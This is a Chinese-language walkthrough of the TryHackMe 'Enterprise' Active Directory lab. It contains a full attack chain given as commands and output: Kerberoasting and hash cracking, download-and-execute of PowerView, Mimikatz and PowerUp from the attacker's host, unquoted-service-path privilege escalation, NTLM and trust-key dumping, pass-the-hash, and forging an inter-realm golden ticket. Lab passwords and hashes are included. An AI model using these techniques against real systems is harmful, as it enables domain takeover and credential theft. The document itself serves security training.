【Tryhackme】Enterprise（Unquoted Service Paths）

服务探测

端口探测

root@ip-10-10-208-107:~# nmap -p- 10.10.59.205 --open

Starting Nmap 7.60 ( https://nmap.org ) at 2022-03-04 02:48 GMT
Nmap scan report for ip-10-10-248-133.eu-west-1.compute.internal (10.10.59.205)
Host is up (0.0039s latency).
Not shown: 61918 closed ports, 3588 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsdapi
5985/tcp  open  wsman
7990/tcp  open  unknown
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown
49673/tcp open  unknown

服务探测

root@ip-10-10-208-107:~# nmap -sV -Pn 10.10.59.205 -p 53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5357,5985,7990,9389,47001,49664-49673

Starting Nmap 7.60 ( https://nmap.org ) at 2022-03-04 02:57 GMT
Nmap scan report for ip-10-10-248-133.eu-west-1.compute.internal (10.10.59.205)
Host is up (0.00075s latency).

PORT      STATE  SERVICE       VERSION
53/tcp    open   domain        Microsoft DNS
80/tcp    open   http          Microsoft IIS httpd 10.0
88/tcp    open   kerberos-sec  Microsoft Windows Kerberos (server time: 2022-03-04 02:57:49Z)
135/tcp   open   msrpc         Microsoft Windows RPC
139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open   ldap          Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM0., Site: Default-First-Site-Name)
445/tcp   open   microsoft-ds?
464/tcp   open   kpasswd5?
593/tcp   open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open   tcpwrapped
3268/tcp  open   ldap          Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM0., Site: Default-First-Site-Name)
3269/tcp  open   tcpwrapped
3389/tcp  open   ms-wbt-server Microsoft Terminal Services
5357/tcp  open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5985/tcp  open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7990/tcp  open   http          Microsoft IIS httpd 10.0
9389/tcp  open   mc-nmf        .NET Message Framing
47001/tcp open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open   msrpc         Microsoft Windows RPC
49665/tcp open   msrpc         Microsoft Windows RPC
49666/tcp open   msrpc         Microsoft Windows RPC
49667/tcp closed unknown
49668/tcp open   msrpc         Microsoft Windows RPC
49669/tcp open   msrpc         Microsoft Windows RPC
49670/tcp open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open   msrpc         Microsoft Windows RPC
49672/tcp closed unknown
49673/tcp open   msrpc         Microsoft Windows RPC
MAC Address: 02:CC:01:6E:8F:D9 (Unknown)
Service Info: Host: LAB-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.08 seconds

smb

枚举分项目录

┌──(root💀kali)-[~/tryhackme/Enterprise]
└─# crackmapexec smb 10.10.59.205 -u '' -p '' --shares
SMB         10.10.59.205   445    LAB-DC           [*] Windows 10.0 Build 17763 x64 (name:LAB-DC) (domain:LAB.ENTERPRISE.THM) (signing:True) (SMBv1:False)
SMB         10.10.59.205   445    LAB-DC           [-] LAB.ENTERPRISE.THM\: STATUS_ACCESS_DENIED 
SMB         10.10.59.205   445    LAB-DC           [-] Error enumerating shares: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

不允许匿名登录，但是得到了
域的名称：LAB.ENTERPRISE.THM
DC服务器的名字： LAB-DC

用smbclient再次枚举，这次出现了分享的目录

┌──(root💀kali)-[~/tryhackme/Enterprise]
└─# smbclient --no-pass -L //10.10.59.205

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Docs            Disk      
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
        Users           Disk      Users Share. Do Not Touch!
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.59.205 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Users

可以登录

┌──(root💀kali)-[~/tryhackme/Enterprise]
└─# smbclient --no-pass //10.10.59.205/Users
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Thu Mar 11 21:11:49 2021
  ..                                 DR        0  Thu Mar 11 21:11:49 2021
  Administrator                       D        0  Thu Mar 11 16:55:48 2021
  All Users                       DHSrn        0  Sat Sep 15 03:28:48 2018
  atlbitbucket                        D        0  Thu Mar 11 17:53:06 2021
  bitbucket                           D        0  Thu Mar 11 21:11:51 2021
  Default                           DHR        0  Thu Mar 11 19:18:03 2021
  Default User                    DHSrn        0  Sat Sep 15 03:28:48 2018
  desktop.ini                       AHS      174  Sat Sep 15 03:16:48 2018
  LAB-ADMIN                           D        0  Thu Mar 11 19:28:14 2021
  Public                             DR        0  Thu Mar 11 16:27:02 2021

                15587583 blocks of size 4096. 9920786 blocks available

整理一个user list

Administrator
atlbitbucket
bitbucket
LAB-ADMIN

尝试枚举上面用户是否关闭了kerberos预认证

找到一个用户凭据文件

smb: \LAB-ADMIN\AppData\Local\Microsoft\Credentials\> ls
  .                                 DSn        0  Thu Mar 11 19:28:46 2021
  ..                                DSn        0  Thu Mar 11 19:28:46 2021
  DFBE70A7E5CC19A398EBF1B96859CE5D   AHSn    11152  Thu Mar 11 18:09:04 2021

                15587583 blocks of size 4096. 9919566 blocks available

这个查了一下是RDP登录凭证，但是查了一下好像没有办法破解

Docs

┌──(root💀kali)-[~/tryhackme/Enterprise]
└─# smbclient --no-pass //10.10.59.205/Docs
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Mar 14 22:47:35 2021
  ..                                  D        0  Sun Mar 14 22:47:35 2021
  RSA-Secured-Credentials.xlsx        A    15360  Sun Mar 14 22:46:54 2021
  RSA-Secured-Document-PII.docx       A    18432  Sun Mar 14 22:45:24 2021

有两个office文件，但是收到了密码保护，使用这个office2john.py转成可以被john识别的哈希值，使用john破解，但是没有任何结果

http

80端口没有任何有用的东西

7990也是一个http端口，看上去跑了一个叫ATLASSIAN 的web app，但其实只是一个静态页面

登录框写了一行字：

Reminder to all Enterprise-THM Employees:We are moving to Github!

在谷歌上搜索enterprise-thm github找到了这个github页面

只有一个About-US的project

维护者是一个叫Nik-enterprise-dev的人，点进个人主页，还维护了一个powershell项目
只有一个脚本

Import-Module ActiveDirectory
$userName = ''
$userPassword = ''
$psCreds = ConvertTo-SecureString $userPassword -AsPlainText -Force
$Computers = New-Object -TypeName "System.Collections.ArrayList"
$Computer = $(Get-ADComputer -Filter * | Select-Object Name)
for ($index = -1; $index -lt $Computer.count; $index++) { Invoke-Command -ComputerName $index {systeminfo} }

用户名和密码都为空

点击这个脚本的history页面，找到最初版本，记录了用户名和密码

Import-Module ActiveDirectory
$userName = 'nik'
$userPassword = 'ToastyBoi!'
$psCreds = ConvertTo-SecureString $userPassword -AsPlainText -Force
$Computers = New-Object -TypeName "System.Collections.ArrayList"
$Computer = $(Get-ADComputer -Filter * | Select-Object Name)
for ($index = -1; $index -lt $Computer.count; $index++) { Invoke-Command -ComputerName $index {systeminfo} }

现在有了一个用户凭据

nik:ToastyBoi!

find SPN

┌──(root💀kali)-[~/tryhackme/Enterprise]
└─# python3 /opt/impacket/examples/GetUserSPNs.py  -dc-ip 10.10.59.205 lab.enterprise.thm/nik:ToastyBoi!  -request -outputfile hash.txt                                                                                               130 ⨯
Impacket v0.9.24.dev1+20210814.5640.358fc7c6 - Copyright 2021 SecureAuth Corporation

ServicePrincipalName  Name       MemberOf                                                     PasswordLastSet             LastLogon                   Delegation 
--------------------  ---------  -----------------------------------------------------------  --------------------------  --------------------------  ----------
HTTP/LAB-DC           bitbucket  CN=sensitive-account,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM  2021-03-11 20:20:01.333272  2021-04-26 11:16:41.570158

得到一个用户的SPN,用john破解

┌──(root💀kali)-[~/tryhackme/Enterprise]
└─# cat hash.txt 
$krb5tgs$23$*bitbucket$LAB.ENTERPRISE.THM$lab.enterprise.thm/bitbucket*$d286d86f986ebc5ed08752398bfa566a$878cf038efff7b158da57d8e041a07b03e4194ac25e7348658120d4bb26b762213465f35bb7b065aa5bbb321607d8d32a7044473170be71cddeb9df93a404ec3e45ac782c3f603a64b47d890deec82e96e2f20c15f3a55c5017ccb80544f41af572083863551d85a7d24c08700914cd170294f7c295b5312fa5e9ded3605705fe55d8acc0937f7268e4fef90254823400931c454833bc2acf4d319f67f336fb4984aeb6a51543336bb5fc68c43a7546b93b44abc518878b34b476545935a82630e5ded8cd7b201aff3da2f2e9015a5b679d6a39a0a419883169dd9b943ed9452c287b7778f7e367ffaa153e6238cf3b964a3842c7a82037cd0805c7b0df82e354588bfc8f256a02a91d70c03b58a564fbb04577b45670d7e5ec3b919244bc71df6afb7aa4ac7471f59e1c6e572dc28fb0fc142dd9d5b60e132e2c1820282b2c70e189af31484705d427bacfc89080a7738c6018a594eb9ac34140d0a8bdd625a5edf25caf543880203ec1779543ca06911a8375339b50ee3438126d894b1a7c15fa5d772bc2dcec1134399ccbfe98f07ea62ebd1d3970524b07be6d8f2bebb9be1470f2472bfe57656622b2767a045dbfe575a90bb25546ebd34e000d2175d107a0421c9a8a1968bee1c3736b3d35100f3edab7ecc4efb1b2ae185832d97e7c02b54a9e61c05875c72a2a21f0f94fef0a0ad35f7e77b2134605a56df3613061f4f3f25a43e3c185a861d1af30d2e4451cfe7fcc15a6aafb963160d941e286366f695f44cab437e83b85bbe06f0601fdd3fc686108b14bb33b91f1fb0ad9fb88e460ef7cfe59f729b18f84226977f58f8fa35eb6f66ce9dda6188b64e23f27f73a206b8640b46132bc73b1efb47c8bf9788010f26c2a9f70581488896a729c814763e7d69bfdcb26675da14c9dc27b99ea412cb07d6030d0d6b2fa57fa71aa8d6530c98741dd16722ee29e77e3f5635db125ee79df40d3df607bc6fc2217cfe6e08c4c6e545c3597f526f9efd1aecf4869cab95eb61c3c627edefb0c8661d081d2b704502f7d6ca8ab4c8df6134accaef9e8e8a3d5eeb54e3054e54eca1991db472ff9e4371301c8a59cff106c343d064d789d409b7f69ce96b8e8091c323ed9edd09beda75555d866b71a6e10d7eef8406ea47aaa77b040f06ad9e688deef6942e2076e285b02ce67104d816f9dfe323b348d97d2790ac12545e7b5fc4a92ba7da5fcab00e47146111bd0cff0c925f33674ffbf972522d295b08ec1eb07c206590634bcfa000d32d4b63296e864606282307059645816bd50c5d12d5c63e671f062f84b5e7c6efacef5d940f75cc9a149801ffe5f49f068f8d62eebabcd2cb1a604b72
                                                                                                                                                                                                                                            
┌──(root💀kali)-[~/tryhackme/Enterprise]
└─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
littleredbucket  (?)     
1g 0:00:00:01 DONE (2022-03-04 00:56) 0.8620g/s 1354Kp/s 1354Kc/s 1354KC/s livelife93..liss27
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

账号：bitbucket
密码：littleredbucket

使用下面命令rdp连接靶机

xfreerdp /f /u:bitbucket /p:littleredbucket /v:10.10.59.205 /size:1280x1030

桌面找到用户flag

本地权限提升

在kali起一个简易http服务器，通过http把枚举和提权工具传到靶机

iex (iwr http://10.11.63.196/PowerView.ps1 -UseBasicParsing)

iex (iwr http://10.11.63.196/SharpHound.ps1 -UseBasicParsing)

iex (iwr http://10.11.63.196/Invoke-Mimikatz.ps1  -UseBasicParsing)

iex (iwr http://10.11.63.196/PowerUp.ps1  -UseBasicParsing)

枚举所有域用户

PS C:\Users\bitbucket> get-netuser|select cn

cn
--
Administrator
Guest
atlbitbucket
krbtgt
BitBucker
nik
REPLICATION
spooks
Korone
Banana
Cake
Contractor
Varg
Joiner

枚举所有DA用户

PS C:\Users\bitbucket\Desktop> Get-NetGroupMember -GroupName "Domain Admins" -Recurse |select MemberName

MemberName
----------
joiner
Cake
korone
Administrator

使用SharpHound手机域信息

Invoke-BloodHound -CollectionMethod All -verbose

如何把文件从靶机传回kali，这里使用smb，因为我们有了bitbucket的登录凭证，可以放到users的bitbucket下，然后使用smb下载

使用PowerUp，发现存在一个unquoted service paths的服务

[*] Checking for unquoted service paths...


ServiceName    : zerotieroneservice
Path           : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'zerotieroneservice' -Path <HijackPath>
CanRestart     : True

ServiceName    : zerotieroneservice
Path           : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'zerotieroneservice' -Path <HijackPath>
CanRestart     : True

经过简单测试，发现可以在C:\Program Files (x86)\Zero Tier\写入文件，并且对这个服务有重启的权限

用Write-ServiceBinary方法，写一个Zero.exe

PS C:\Program Files (x86)\Zero Tier> Write-ServiceBinary -Name 'zerotieroneservice' -Path 'C:\Program Files (x86)\Zero Tier\Zero.exe'

ServiceName        Path                                      Command
-----------        ----                                      -------
zerotieroneservice C:\Program Files (x86)\Zero Tier\Zero.exe net user john Password123! /add && timeout /t 5 && net localgroup Administrators john /add

这一步主要是创建了一个叫john的用户，密码是Password123!，并且把john加入到本地管理员组

已存在在目标目录

PS C:\Program Files (x86)\Zero Tier> ls


    Directory: C:\Program Files (x86)\Zero Tier


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        3/14/2021   6:08 PM                Zero Tier One
-a----         3/4/2022  12:58 AM              6 1.txt
-a----         3/4/2022   1:01 AM          22016 Zero.exe

重启服务

PS C:\Program Files (x86)\Zero Tier> sc.exe stop zerotieroneservice
[SC] ControlService FAILED 1062:

The service has not been started.

PS C:\Program Files (x86)\Zero Tier> sc.exe start zerotieroneservice

SERVICE_NAME: zerotieroneservice
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 5348
        FLAGS              :

现在，在桌面已管理员权限开启一个shell，输入用户凭据：john:Password123!

成功开启一个管理员权限的shell

PS C:\Windows\system32> whoami /all

USER INFORMATION
----------------

User Name           SID
=================== ============================================
lab-enterprise\john S-1-5-21-2168718921-3906202695-65158103-1120


GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ===============================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                     Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288

可以看到已经存在在BUILTIN\Administrators用户组

拿到root.txt

PS C:\users\Administrator\Desktop> type .\root.txt
THM{1a1fa948754212963...}

跨域（没有成功）

枚举所有信任关系

PS C:\users\bitbucket\Desktop> Get-NetForestDomain -Verbose | Get-NetDomainTrust

SourceName         TargetName       TrustType TrustDirection
----------         ----------       --------- --------------
LAB.ENTERPRISE.THM ENTERPRISE.THM ParentChild  Bidirectional
LAB.ENTERPRISE.THM morimori.com      Kerberos       Outbound

发现跟父域是双向信任的

使用Mimikatz导出所有NTML哈希

PS C:\users\Administrator\Desktop> Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # lsadump::lsa /patch
Domain : LAB-ENTERPRISE / S-1-5-21-2168718921-3906202695-65158103

RID  : 000001f4 (500)
User : Administrator
LM   :
NTLM : 8537943ee84c50d9d4035c519ce2cb68

RID  : 000001f5 (501)
User : Guest
LM   :
NTLM :

RID  : 000001f6 (502)
User : krbtgt
LM   :
NTLM : 43c1c941c7f0eb3a74d8864ab7dfa212

<skip>

以Administrator身份开启一个shell

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:LAB.ENTERPRISE.THM /ntlm:8537943ee84c50d9d4035c519ce2cb68 /run:powershell.exe"'

枚举DC服务器的所有信任关系

PS C:\Windows\system32> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName LAB-DC.LAB.ENTERPRISE.THM

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # lsadump::trust /patch

Current domain: LAB.ENTERPRISE.THM (LAB-ENTERPRISE / S-1-5-21-2168718921-3906202695-65158103)

Domain: ENTERPRISE.THM (ENTERPRISE / S-1-5-21-1835041512-953509921-1126143443)
 [  In ] LAB.ENTERPRISE.THM -> ENTERPRISE.THM
    * 3/11/2021 4:30:39 PM - CLEAR   - b9 f4 a3 46 54 fe ad 6c 3d a6 0b 74 cd 56 49 ea 3c 2d c1 79 11 cd e0 6c ce d9 c8 6c fa 93 c8 8a b7 39 be a7 0d 25 01 6b 90 3b 0c ad 82 65 b8 ba 0c fc be 07 13 9b fd 39 89 09 8f 03 41 3e d3 4c 3f e6 ba 97 d1 37 47 7d 10 56 c6 0c ce 55 ba bf 7a 86 6d fd 90 e4 ca 8f 00 0d bc f4 8f d7 c2 23 e8 61 70 48 de a0 b1 14 2d 45 ce 67 3d 0b 2f 2d 07 fb 1e b8 84 b0 e3 e1 c7 25 64 f6 fe c5 f5 9a ba a5 bd 0d 3a 14 45 4f 01 ee 80 49 d3 14 a4 ab 76 7c 3b 59 ef a4 17 41 34 b1 c0 9d 9b 58 48 dd f9 03 7c 74 7e ed d6 6e 9a ba f3 d4 be e5 a1 fc 51 a1 a9 8e f8 d0 0b 9f f6 db a1 e9 de a7 7c 57 f2 00 3f a2 e2 35 6c 47 1d da 5f 5d 48 db 6f 61 3c 41 61 23 c7 65 ce f5 6e 78 d2 25 21 40 8c 60 9f 0e 3f 46 7c 19 63 e7 8c 58 52 db 49 21 6b a6 d1 02 ac 6f a6 81 bd 1f be 6b e1 62 94 ec 3d 7c
        * aes256_hmac       eb0a1f52c2e7f30dbcf02a1737e2527da685a36d511e6b96da5d3517ba91a73c
        * aes128_hmac       7eed741499c0611a0275bfd2d83b0de1
        * rc4_hmac_nt       d84d2d46e70ebdcd94ec6f3c79f5731f

 [ Out ] ENTERPRISE.THM -> LAB.ENTERPRISE.THM
    * 3/11/2021 4:30:39 PM - CLEAR   - b9 f4 a3 46 54 fe ad 6c 3d a6 0b 74 cd 56 49 ea 3c 2d c1 79 11 cd e0 6c ce d9 c8 6c fa 93 c8 8a b7 39 be a7 0d 25 01 6b 90 3b 0c ad 82 65 b8 ba 0c fc be 07 13 9b fd 39 89 09 8f 03 41 3e d3 4c 3f e6 ba 97 d1 37 47 7d 10 56 c6 0c ce 55 ba bf 7a 86 6d fd 90 e4 ca 8f 00 0d bc f4 8f d7 c2 23 e8 61 70 48 de a0 b1 14 2d 45 ce 67 3d 0b 2f 2d 07 fb 1e b8 84 b0 e3 e1 c7 25 64 f6 fe c5 f5 9a ba a5 bd 0d 3a 14 45 4f 01 ee 80 49 d3 14 a4 ab 76 7c 3b 59 ef a4 17 41 34 b1 c0 9d 9b 58 48 dd f9 03 7c 74 7e ed d6 6e 9a ba f3 d4 be e5 a1 fc 51 a1 a9 8e f8 d0 0b 9f f6 db a1 e9 de a7 7c 57 f2 00 3f a2 e2 35 6c 47 1d da 5f 5d 48 db 6f 61 3c 41 61 23 c7 65 ce f5 6e 78 d2 25 21 40 8c 60 9f 0e 3f 46 7c 19 63 e7 8c 58 52 db 49 21 6b a6 d1 02 ac 6f a6 81 bd 1f be 6b e1 62 94 ec 3d 7c
        * aes256_hmac       643128314165f87c41041f07c13490fc0d96189f45c2eb3efcaa956707dd5a5e
        * aes128_hmac       3872b51d2e6716a863060cf1c00e4980
        * rc4_hmac_nt       d84d2d46e70ebdcd94ec6f3c79f5731f

 [ In-1] LAB.ENTERPRISE.THM -> ENTERPRISE.THM
    * 3/11/2021 4:30:39 PM - CLEAR   - b9 f4 a3 46 54 fe ad 6c 3d a6 0b 74 cd 56 49 ea 3c 2d c1 79 11 cd e0 6c ce d9 c8 6c fa 93 c8 8a b7 39 be a7 0d 25 01 6b 90 3b 0c ad 82 65 b8 ba 0c fc be 07 13 9b fd 39 89 09 8f 03 41 3e d3 4c 3f e6 ba 97 d1 37 47 7d 10 56 c6 0c ce 55 ba bf 7a 86 6d fd 90 e4 ca 8f 00 0d bc f4 8f d7 c2 23 e8 61 70 48 de a0 b1 14 2d 45 ce 67 3d 0b 2f 2d 07 fb 1e b8 84 b0 e3 e1 c7 25 64 f6 fe c5 f5 9a ba a5 bd 0d 3a 14 45 4f 01 ee 80 49 d3 14 a4 ab 76 7c 3b 59 ef a4 17 41 34 b1 c0 9d 9b 58 48 dd f9 03 7c 74 7e ed d6 6e 9a ba f3 d4 be e5 a1 fc 51 a1 a9 8e f8 d0 0b 9f f6 db a1 e9 de a7 7c 57 f2 00 3f a2 e2 35 6c 47 1d da 5f 5d 48 db 6f 61 3c 41 61 23 c7 65 ce f5 6e 78 d2 25 21 40 8c 60 9f 0e 3f 46 7c 19 63 e7 8c 58 52 db 49 21 6b a6 d1 02 ac 6f a6 81 bd 1f be 6b e1 62 94 ec 3d 7c
        * aes256_hmac       eb0a1f52c2e7f30dbcf02a1737e2527da685a36d511e6b96da5d3517ba91a73c
        * aes128_hmac       7eed741499c0611a0275bfd2d83b0de1
        * rc4_hmac_nt       d84d2d46e70ebdcd94ec6f3c79f5731f

 [Out-1] ENTERPRISE.THM -> LAB.ENTERPRISE.THM
    * 3/11/2021 4:30:39 PM - CLEAR   - b9 f4 a3 46 54 fe ad 6c 3d a6 0b 74 cd 56 49 ea 3c 2d c1 79 11 cd e0 6c ce d9 c8 6c fa 93 c8 8a b7 39 be a7 0d 25 01 6b 90 3b 0c ad 82 65 b8 ba 0c fc be 07 13 9b fd 39 89 09 8f 03 41 3e d3 4c 3f e6 ba 97 d1 37 47 7d 10 56 c6 0c ce 55 ba bf 7a 86 6d fd 90 e4 ca 8f 00 0d bc f4 8f d7 c2 23 e8 61 70 48 de a0 b1 14 2d 45 ce 67 3d 0b 2f 2d 07 fb 1e b8 84 b0 e3 e1 c7 25 64 f6 fe c5 f5 9a ba a5 bd 0d 3a 14 45 4f 01 ee 80 49 d3 14 a4 ab 76 7c 3b 59 ef a4 17 41 34 b1 c0 9d 9b 58 48 dd f9 03 7c 74 7e ed d6 6e 9a ba f3 d4 be e5 a1 fc 51 a1 a9 8e f8 d0 0b 9f f6 db a1 e9 de a7 7c 57 f2 00 3f a2 e2 35 6c 47 1d da 5f 5d 48 db 6f 61 3c 41 61 23 c7 65 ce f5 6e 78 d2 25 21 40 8c 60 9f 0e 3f 46 7c 19 63 e7 8c 58 52 db 49 21 6b a6 d1 02 ac 6f a6 81 bd 1f be 6b e1 62 94 ec 3d 7c
        * aes256_hmac       643128314165f87c41041f07c13490fc0d96189f45c2eb3efcaa956707dd5a5e
        * aes128_hmac       3872b51d2e6716a863060cf1c00e4980
        * rc4_hmac_nt       d84d2d46e70ebdcd94ec6f3c79f5731f


Domain: MORIMORI.COM (morimori.comERROR kull_m_string_displaySID ; ConvertSidToStringSid (0x00000057)
)
 [  In ] LAB.ENTERPRISE.THM -> MORIMORI.COM

 [ Out ] MORIMORI.COM -> LAB.ENTERPRISE.THM
    * 3/11/2021 7:30:30 PM - CLEAR   - 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00
        * aes256_hmac       a80d035b0775088e8ec1836d43f8b32f4cafca1f31f7c46f1615651dd140f382
        * aes128_hmac       10aac1e975ebdd4edb90692ebb2db502
        * rc4_hmac_nt       a4f49c406510bdcab6824ee7c30fd852

 [ In-1] LAB.ENTERPRISE.THM -> MORIMORI.COM

 [Out-1] MORIMORI.COM -> LAB.ENTERPRISE.THM
    * 3/11/2021 7:30:30 PM - CLEAR   - 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00
        * aes256_hmac       a80d035b0775088e8ec1836d43f8b32f4cafca1f31f7c46f1615651dd140f382
        * aes128_hmac       10aac1e975ebdd4edb90692ebb2db502
        * rc4_hmac_nt       a4f49c406510bdcab6824ee7c30fd852

伪造一条到父域ENTERPRISE.THM的TGT

从上面信息我们得知，父域的SID是：S-1-5-21-1835041512-953509921-1126143443

这里需要注意下面命令参数里的rc4，必须是上面枚举出来的
* rc4_hmac_nt d84d2d46e70ebdcd94ec6f3c79f5731f这个值

伪造TGT

Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:LAB.ENTERPRISE.THM /sid:S-1-5-21-2168718921-3906202695-65158103 /sids:S-1-5-21-1835041512-953509921-1126143443-519 /rc4:d84d2d46e70ebdcd94ec6f3c79f5731f /service:krbtgt /target:ENTERPRISE.THM /ticket:C:\users\bitbucket\Desktop\trust_tkt.kirbi"'

执行

PS C:\users\Administrator\Desktop> Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:LAB.ENTERPRISE.THM /sid:S-1-5-21-2168718921-3906202695-65158103 /sids:S-1-5-21-1835041512-953509921-1126143443-519 /rc4:d84d2d46e70ebdcd94ec6f3c79f5731f /service:krbtgt /target:ENTERPRISE.THM /ticket:C:\users\bitbucket\Desktop\trust_tkt.kirbi"'

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 20 2021 19:01:18
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # Kerberos::golden /user:Administrator /domain:LAB.ENTERPRISE.THM /sid:S-1-5-21-2168718921-3906202695-65158103 /sids:S-1-5-21-1835041512-953509921-1126143443-519 /rc4:d84d2d46e70ebdcd94ec6f3c79f5731f /service:krbtgt /target:ENTERPRISE.THM /ticket:C:\users\bitbucket\Desktop\trust_tkt.kirbi
User      : Administrator
Domain    : LAB.ENTERPRISE.THM (LAB)
SID       : S-1-5-21-2168718921-3906202695-65158103
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-1835041512-953509921-1126143443-519 ;
ServiceKey: d84d2d46e70ebdcd94ec6f3c79f5731f - rc4_hmac_nt
Service   : krbtgt
Target    : ENTERPRISE.THM
Lifetime  : 3/4/2022 1:37:00 AM ; 3/1/2032 1:37:00 AM ; 3/1/2032 1:37:00 AM
-> Ticket : C:\users\bitbucket\Desktop\trust_tkt.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

查看当前林

PS C:\users\bitbucket\Desktop> Get-NetForest


RootDomainSid         : S-1-5-21-1835041512-953509921-1126143443
Name                  : ENTERPRISE.THM
Sites                 : {Default-First-Site-Name}
Domains               : {ENTERPRISE.THM, LAB.ENTERPRISE.THM}
GlobalCatalogs        : {ENTERPRISE-DC.ENTERPRISE.THM, LAB-DC.LAB.ENTERPRISE.THM}
